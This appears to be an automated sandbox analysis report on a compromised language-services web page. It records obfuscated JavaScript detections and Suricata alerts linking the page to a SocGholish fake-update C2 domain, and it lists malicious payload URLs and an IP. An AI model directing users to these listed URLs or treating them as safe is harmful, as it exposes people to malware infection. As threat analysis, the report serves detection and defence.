Edit tour

Windows Analysis Report
https://www.languagesim.com/interpretationterms/

Overview

General Information

Sample URL:	https://www.languagesim.com/interpretationterms/
Analysis ID:	1640782
Infos:

Detection

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

HTML page contains obfuscated javascript

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5048 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3848 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6476 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.languagesim.com/interpretationterms/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_201	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.4..script.csv	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Suricata Signatures

ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T18:17:53.615548+0100	2060522	1	Domain Observed Used for C2 Detected	192.168.2.5	57494	1.1.1.1	53	UDP
2025-03-17T18:17:53.615798+0100	2060522	1	Domain Observed Used for C2 Detected	192.168.2.5	57839	1.1.1.1	53	UDP
2025-03-17T18:18:08.237672+0100	2060522	1	Domain Observed Used for C2 Detected	192.168.2.5	65112	1.1.1.1	53	UDP
2025-03-17T18:18:08.237811+0100	2060522	1	Domain Observed Used for C2 Detected	192.168.2.5	51199	1.1.1.1	53	UDP
2025-03-17T18:18:13.833513+0100	2060522	1	Domain Observed Used for C2 Detected	192.168.2.5	58286	1.1.1.1	53	UDP
2025-03-17T18:18:13.833930+0100	2060522	1	Domain Observed Used for C2 Detected	192.168.2.5	58482	1.1.1.1	53	UDP

ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T18:17:54.406022+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49781	142.202.242.173	443	TCP
2025-03-17T18:17:58.718568+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49838	142.202.242.173	443	TCP
2025-03-17T18:18:08.833794+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49897	142.202.242.173	443	TCP
2025-03-17T18:18:11.711508+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49907	142.202.242.173	443	TCP
2025-03-17T18:18:14.421499+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49908	142.202.242.173	443	TCP
2025-03-17T18:18:18.219535+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49913	142.202.242.173	443	TCP
2025-03-17T18:18:18.682612+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49916	142.202.242.173	443	TCP
2025-03-17T18:18:21.498734+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49920	142.202.242.173	443	TCP
2025-03-17T18:18:21.499034+0100	2060523	1	Domain Observed Used for C2 Detected	192.168.2.5	49921	142.202.242.173	443	TCP

ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T18:18:11.195732+0100	2852900	1	A Network Trojan was detected	142.202.242.173	443	192.168.2.5	49897	TCP

HTTP traffic detected: POST /g/collect?v=2&tid=G-J327J7SHH7&cid=916363133.1742231876&gtm=45je53d1h1v885597784z8812918861za200zb812918861&aip=1&dma=0&gcd=13l3l3l3l1l1&npa=0&frm=0&tag_exp=102482433~102587591~102717422~102788824~102803279~102813109~102814060~102825837~102879719 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-aliveContent-Length: 0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Origin: https://www.languagesim.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiJo8sBCIWgzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.languagesim.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: https://publication.garyjobeferguson.com/NLFEB0+TJ25Qk341A4VoJUfYICUOgHM2BIN9NxiTNiUOkzFpQNkocRbM	Avira URL Cloud: Label: malware
Source: https://publication.garyjobeferguson.com/MewGhErOZe1Vzjy2BtgqpkKYY/QT1iToUIJi7V+LWeJYgGOmHc50pgvObPRLj2+mTA==	Avira URL Cloud: Label: malware

Source: Yara match	File source: 0.4..script.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_201, type: DROPPED

Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-M7HW4DD
Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: Iframe src: https://www.youtube.com/embed/DsYNaw4qoJw?controls=0&rel=0&playsinline=1&cc_load_policy=0&enablejsapi=1&origin=https%3A%2F%2Fwww.languagesim.com&widgetid=1&forigin=https%3A%2F%2Fwww.languagesim.com%2Finterpretationterms%2F&aoriginsup=1&vf=6
Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-J327J7SHH7&gacid=916363133.1742231876&gtm=45je53d1h1v885597784z8812918861za200zb812918861&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=102482433~102587591~102717422~102788824~102803279~102813109~102814060~102825837~102879719&z=224417734
Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/479542189?random=1742231879233&cv=11&fst=1742231879233&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be53d1za200zb812918861&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.languagesim.com%2Finterpretationterms%2F&hn=www.googleadservices.com&frm=0&tiba=Page%20not%20found%20%7C%20Languages%20In%20Motion&did=dZTQ1Zm&gdid=dZTQ1Zm&npa=0&pscdl=noapi&auid=1113411625.1742231879&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: Iframe src: https://app.hubspot.com/conversations-visitor/8836210/threads/utk/e95b7f20182e4d01887d4bf9ce5227bc?uuid=6beddedac44f4f0e9a835eece7fd6ae7&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=&domain=languagesim.com&inApp53=false&messagesUtk=e95b7f20182e4d01887d4bf9ce5227bc&url=https%3A%2F%2Fwww.languagesim.com%2Finterpretationterms%2F&inline=false&isFullscreen=false&globalCookieOptOut=&isFirstVisitorSession=true&isAttachmentDisabled=false&isInitialInputFocusDisabled=false&enableWidgetCookieBanner=false&isInCMS=false&hideScrollToButton=true&isIOSMobile=false

Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: No favicon
Source: https://www.languagesim.com/interpretationterms/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 142.250.186.164:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.179.119:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.179.119:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.64.254:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.137.209:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.175.201:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.202.242.173:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.179.119:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.179.119:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.108.254:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.40.240:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.128.172:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.77.142:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.109.254:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.0.6:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.19.175.188:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.110.254:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.19.175.188:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.125.206.155:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.226:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.244.108:443 -> 192.168.2.5:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.118.116:443 -> 192.168.2.5:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.252.35:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.252.35:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.241.108:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.35:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.116:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.116:443 -> 192.168.2.5:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.35:443 -> 192.168.2.5:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.175.91:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.175.91:443 -> 192.168.2.5:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.175.91:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.175.91:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.100:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.162:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.86:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.118.116:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.240.108:443 -> 192.168.2.5:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.32.129:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.118.116:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.5:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.155.127:443 -> 192.168.2.5:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.130:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.102:443 -> 192.168.2.5:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.194:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.196:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.5:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.202.242.173:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.116:443 -> 192.168.2.5:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.5:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.54:443 -> 192.168.2.5:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.118.116:443 -> 192.168.2.5:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.118.116:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.202.242.173:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.116:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.116:443 -> 192.168.2.5:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49940 version: TLS 1.2

Source: Network traffic	Suricata IDS: 2060522 - Severity 1 - ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com) : 192.168.2.5:57494 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060522 - Severity 1 - ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com) : 192.168.2.5:57839 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49781 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49838 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060522 - Severity 1 - ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com) : 192.168.2.5:51199 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060522 - Severity 1 - ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com) : 192.168.2.5:65112 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49897 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060522 - Severity 1 - ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com) : 192.168.2.5:58286 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060522 - Severity 1 - ET MALWARE Win32/SocGholish Domain in DNS Lookup (publication .garyjobeferguson .com) : 192.168.2.5:58482 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49908 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49907 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49913 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49916 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49920 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2060523 - Severity 1 - ET MALWARE Win32/SocGholish Domain in TLS SNI (publication .garyjobeferguson .com) : 192.168.2.5:49921 -> 142.202.242.173:443
Source: Network traffic	Suricata IDS: 2852900 - Severity 1 - ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3 : 142.202.242.173:443 -> 192.168.2.5:49897

Source: global traffic	TCP traffic: 192.168.2.5:49848 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.12
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.64.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.64.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.64.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.64.254
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.162
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.12
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.162
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.162
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.162
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.131
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.131
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.131
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 72.247.153.162

Source: chromecache_282.5.dr	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-facebook-square elementor-repeater-item-229f115" href="https://www.facebook.com/languagesim" target="_blank" rel="nofollow"> equals www.facebook.com (Facebook)
Source: chromecache_282.5.dr	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-linkedin elementor-repeater-item-44c7a28" href="https://www.linkedin.com/company/languages-in-motion-ltd-/" target="_blank" rel="nofollow"> equals www.linkedin.com (Linkedin)
Source: chromecache_287.5.dr	String found in binary or memory: (g.cL(k,"redirector.googlevideo.com"),U=k.toString()):k.S.match("rr?[1-9].*\\.c\\.youtube\\.com$")?(g.cL(k,"www.youtube.com"),U=k.toString()):(k=k0t(U),mE(k)&&(U=k));k=new g.zC(U);k.set("cmo=pf","1");m&&k.set("cmo=td","a1.googlevideo.com");return k}; equals www.youtube.com (Youtube)
Source: chromecache_282.5.dr	String found in binary or memory: .rll-youtube-player{position:relative;padding-bottom:56.23%;height:0;overflow:hidden;max-width:100%;}.rll-youtube-player:focus-within{outline: 2px solid currentColor;outline-offset: 5px;}.rll-youtube-player iframe{position:absolute;top:0;left:0;width:100%;height:100%;z-index:100;background:0 0}.rll-youtube-player img{bottom:0;display:block;left:0;margin:auto;max-width:100%;width:100%;position:absolute;right:0;top:0;border:none;height:auto;-webkit-transition:.4s all;-moz-transition:.4s all;transition:.4s all}.rll-youtube-player img:hover{-webkit-filter:brightness(75%)}.rll-youtube-player .play{height:100%;width:100%;left:0;top:0;position:absolute;background:url(https://www.languagesim.com/wp-content/plugins/wp-rocket/assets/img/youtube.png) no-repeat center;background-color: transparent !important;cursor:pointer;border:none;} equals www.youtube.com (Youtube)
Source: chromecache_260.5.dr	String found in binary or memory: Math.round(q);t["gtm.videoElapsedTime"]=Math.round(f);t["gtm.videoPercent"]=r;t["gtm.videoVisible"]=u;return t},Qk:function(){e=sb()},Nd:function(){d()}}};var bc=wa(["data-gtm-yt-inspected-"]),DG=["www.youtube.com","www.youtube-nocookie.com"],EG,FG=!1; equals www.youtube.com (Youtube)
Source: chromecache_210.5.dr	String found in binary or memory: function X(a,b){this.v={};this.playerInfo={};this.videoTitle="";this.i=this.g=null;this.h=0;this.m=!1;this.l=[];this.j=null;this.A={};this.options=null;if(!a)throw Error("YouTube player element ID required.");this.id=qa(this);b=Object.assign({title:"video player",videoId:"",width:640,height:360},b\|\|{});var c=document;if(a=typeof a==="string"?c.getElementById(a):a){W.yt_embedsEnableRsaforFromIframeApi&&rb();c=a.tagName.toLowerCase()==="iframe";b.host\|\|(b.host=c?lb(a.src):"https://www.youtube.com");this.options= equals www.youtube.com (Youtube)
Source: chromecache_210.5.dr	String found in binary or memory: function rb(){var a=new pb,b=["https://www.youtube.com"];b=b===void 0?ob:b;oa(function(c){switch(c.g){case 1:return C(c,qb(),2);case 2:if(!c.m){c.g=3;break}return C(c,Promise.all(b.map(function(d){var f;return oa(function(e){if(e.g==1)return e.l=2,C(e,navigator.permissions.query({name:"top-level-storage-access",requestedOrigin:d}),4);e.g!=2?(f=e.m,f.state==="prompt"&&a.g.push(d),e.g=0,e.l=0):(e.l=0,e.i=null,e.g=0)})})),4); equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: g.AU=function(x){x=NU(x.lK);return x==="www.youtube-nocookie.com"?"www.youtube.com":x}; equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: g.b.getVideoUrl=function(x,u,k,U,m,F,f){u={list:u};k&&(m?u.time_continue=k:u.t=k);k=f?"music.youtube.com":g.AU(this);m=k==="www.youtube.com";!F&&U&&m?F="https://youtu.be/"+x:g.IB(this)?(F="https://"+k+"/fire",u.v=x):(F&&m?(F=this.protocol+"://"+k+"/shorts/"+x,U&&(u.feature="share")):(F=this.protocol+"://"+k+"/watch",u.v=x),oI&&(x=NOI())&&(u.ebc=x));return g.AS(F,u)}; equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: g.mD=function(x){var u=g.AU(x);FN5.includes(u)&&(u="www.youtube.com");return x.protocol+"://"+u}; equals www.youtube.com (Youtube)
Source: chromecache_260.5.dr	String found in binary or memory: if(!(f\|\|g\|\|k\|\|m.length\|\|n.length))return;var q={Uh:f,Sh:g,Th:k,Ai:m,Bi:n,pf:p,Rb:e},r=z.YT;if(r)return r.ready&&r.ready(d),e;var u=z.onYouTubeIframeAPIReady;z.onYouTubeIframeAPIReady=function(){u&&u();d()};E(function(){for(var v=A.getElementsByTagName("script"),t=v.length,w=0;w<t;w++){var x=v[w].getAttribute("src");if(OG(x,"iframe_api")\|\|OG(x,"player_api"))return e}for(var y=A.getElementsByTagName("iframe"),B=y.length,C=0;C<B;C++)if(!FG&&MG(y[C],q.pf))return sc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_282.5.dr	String found in binary or memory: if(is_iframe){iframe_count+=1}}});if(image_count>0\|\|iframe_count>0\|\|rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script><script data-no-minify="1" async src="https://www.languagesim.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script><script>function lazyLoadThumb(e,alt,l){var t='<img fetchpriority="high" src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360">',a='<button class="play" aria-label="play Youtube video"></button>';if(l){t=t.replace('data-lazy-','');t=t.replace('loading="lazy"','');t=t.replace(/<noscript>.*?<\/noscript>/g,'');}t=t.replace('alt=""','alt="'+alt+'"');return t.replace("ID",e)+a}function lazyLoadYoutubeIframe(){var e=document.createElement("iframe"),t="ID?autoplay=1";t+=0===this.parentNode.dataset.query.length?"":"&"+this.parentNode.dataset.query;e.setAttribute("src",t.replace("ID",this.parentNode.dataset.src)),e.setAttribute("frameborder","0"),e.setAttribute("allowfullscreen","1"),e.setAttribute("allow","accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"),this.parentNode.parentNode.replaceChild(e,this.parentNode)}document.addEventListener("DOMContentLoaded",function(){var exclusions=[];var 